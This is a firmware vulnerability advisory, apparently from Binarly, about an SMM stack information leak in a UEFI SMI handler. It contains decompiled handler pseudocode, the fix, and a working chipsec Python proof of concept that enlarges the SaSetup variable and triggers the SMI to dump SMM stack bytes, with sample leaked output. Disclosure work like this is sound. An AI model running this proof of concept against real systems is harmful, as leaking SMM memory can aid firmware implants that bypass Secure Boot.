An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, and read SMM stack content (that can help to execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it). Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by threat actors to bypass security mechanisms provided by the UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors).
This vulnerability was detected by the Deep Vulnerability Analysis (DVA) component from Binarly Platform
An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, and read SMM stack content (that can help to execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it). Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by threat actors to bypass security mechanisms provided by the UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors).
Vulnerability located in SMI handler with SwSmiInputValue = 0xCA
. The vulnerable function sub_167C
will be executed at the beginning of the handler.
The vulnerable function pseudocode is presented below:
MACRO_EFI sub_167C()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
SmiData = __inbyte(gB3DataPort);
if ( SmiData < 36 )
goto _EfiUnsupported;
if ( SmiData > 38 )
{
if ( SmiData > 47 )
{
if ( SmiData <= 49 )
{
VendorGuid.Data1 = 0xA04A27F4;
*&VendorGuid.Data2 = 0x4D42DF00;
*VendorGuid.Data4 = 0x513952B5;
*&VendorGuid.Data4[4] = 0x3D110213;
gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
DataSize = 1200;
EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
Data[240] = SmiData == 48;
goto _SmmSetSetupVariable;
}
if ( SmiData <= 0x33 )
{
VendorGuid.Data1 = 0xA04A27F4;
*&VendorGuid.Data2 = 0x4D42DF00;
*VendorGuid.Data4 = 0x513952B5;
*&VendorGuid.Data4[4] = 0x3D110213;
gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
DataSize = 1200;
EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
Data[244] = SmiData == 50;
goto _SmmSetSetupVariable;
}
if ( SmiData <= 0x35 )
{
VendorGuid.Data1 = 0xA04A27F4;
*&VendorGuid.Data2 = 0x4D42DF00;
*VendorGuid.Data4 = 0x513952B5;
*&VendorGuid.Data4[4] = 0x3D110213;
gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
DataSize = 1200;
EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
Data[246] = SmiData == 0x35;
_SmmSetSetupVariable:
EfiSmmVariableProtocol->SmmSetVariable(L"Setup", &VendorGuid, 7, DataSize, Data);
Status = EFI_SUCCESS;
goto _Exit;
}
}
_EfiUnsupported:
Status = EFI_UNSUPPORTED;
goto _Exit;
}
gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
DataSize = 1143;
EfiSmmVariableProtocol->SmmGetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 0, &DataSize, Data);
Value = 4;
if ( SmiData == 38 )
Value = 1;
Status = EFI_SUCCESS;
if ( SmiData == 36 )
Value = 0;
Data[177] = Value;
EfiSmmVariableProtocol->SmmSetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 7, DataSize, Data);
_Exit:
__outbyte(gB3DataPort, 0);
return Status;
}
As we can see from the pseudocode, for the Setup
and SaSetup
variables EfiSmmVariableProtocol->SmmSetVariable()
service is called with the DataSize
value, which can be overwritten inside the EfiSmmVariableProtocol->SmmGetVariable()
service.
Thus, a potential attacker can write X - INITIAL_DATA_SIZE
bytes from the stack to NVRAM if writes any buffer of length X > INITIAL_DATA_SIZE
to the SaSetup
or Setup
NVRAM variable:
Setup
variable INITIAL_DATA_SIZE = 1200
SaSetup
variable INITIAL_DATA_SIZE = 1143
In order to fix this vulnerability, the DataSize
variable must be initialized each time before EfiSmmVariableProtocol->SmmSetVariable()
.
It should be noted that the Setup
variable cannot be changed from runtime, however 72c5e28c-7783-43a1-8767-fad73fccafa4-SaSetup
can be changed from the runtime due to misconfiguration in variables filtering.
Below is the PoC code which shows that the value of the SaSetup
variable can be changed from the runtime and after SMI handler execution attacker will able to obtain data from SMM stack:
import hexdump
import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI
cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)
SMI_NUM = 0xCA
SMI_DATA = 0x25
def main():
size_to_leak = 0x100 # specify how many bytes we want to leak
sasetup_initial_data = uefi.get_EFI_variable(
"SaSetup",
"72c5e28c-7783-43a1-8767-fad73fccafa4",
)
sasetup_new_data = sasetup_initial_data + b"A" * size_to_leak
uefi.set_EFI_variable(
"SaSetup",
"72c5e28c-7783-43a1-8767-fad73fccafa4",
sasetup_new_data,
len(sasetup_new_data),
)
# leak SMM stack data
intr.send_SW_SMI(0, SMI_NUM, SMI_DATA, 0, 0, 0, 0, 0, 0)
value = uefi.get_EFI_variable(
"SaSetup",
"72c5e28c-7783-43a1-8767-fad73fccafa4",
)
leked_data = value[len(sasetup_initial_data) :]
hexdump.hexdump(leked_data)
# restore SaSetup variable
uefi.set_EFI_variable(
"SaSetup",
"72c5e28c-7783-43a1-8767-fad73fccafa4",
sasetup_initial_data,
len(sasetup_initial_data),
)
if __name__ == "__main__":
main()
The result of the execution:
test@test:~/chipsec$ sudo python3 ChgBootSmm_poc.py
...
[CHIPSEC] Platform: Actual values: VID = 0x8086, DID = 0x4601, RID = 0x04, CPUID = 0x906A4
00000000: 00 41 00 00 00 00 00 00 00 90 21 D8 4B 00 00 00 .A........!.K...
00000010: 00 D1 A6 D1 4B 00 00 00 00 80 02 A6 40 00 00 00 ....K.......@...
00000020: 00 80 23 D8 4B 00 00 00 00 41 00 00 00 00 00 00 ..#.K....A......
00000030: 00 90 21 D8 4B 00 00 00 00 20 22 D8 4B 00 00 00 ..!.K.... ".K...
00000040: 00 8B E9 C3 4B 00 00 00 00 77 05 00 00 00 00 00 ....K....w......
00000050: 00 18 60 BA 4B 00 00 00 00 18 A0 C4 4B 00 00 00 ..`.K.......K...
00000060: 00 00 00 00 00 00 00 00 00 30 94 FF 4B 00 00 00 .........0..K...
00000070: 00 EA 5B FD 4B 00 00 00 00 50 24 D8 4B 00 00 00 ..[.K....P$.K...
00000080: 00 B1 21 D8 4B 00 00 00 00 B1 21 D8 4B 00 00 00 ..!.K.....!.K...
00000090: 00 F4 27 4A A0 00 DF 42 4D B5 52 39 51 13 02 11 ..'J...BM.R9Q...
000000A0: 3D 70 22 D8 4B 00 00 00 00 01 00 00 00 00 00 00 =p".K...........
000000B0: 00 40 22 D8 4B 00 00 00 00 80 02 00 00 00 41 00 .@".K.........A.
000000C0: 00 01 82 00 00 00 00 00 00 00 09 40 00 00 09 00 ...........@....
000000D0: 00 00 00 00 00 00 00 01 00 0B 7A 1D 06 E9 4F 05 ..........z...O.
000000E0: 76 3A 0F A9 20 BB 9A FE A9 B4 D2 D7 7A 20 1F FC v:.. .......z ..
000000F0: AC 4F 4C 65 47 CC 7D 59 13 E0 94 FF 4B 00 00 00 .OLeG.}Y....K...
This vulnerability is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the vulnerability report will become visible to the public.
BINARLY efiXplorer team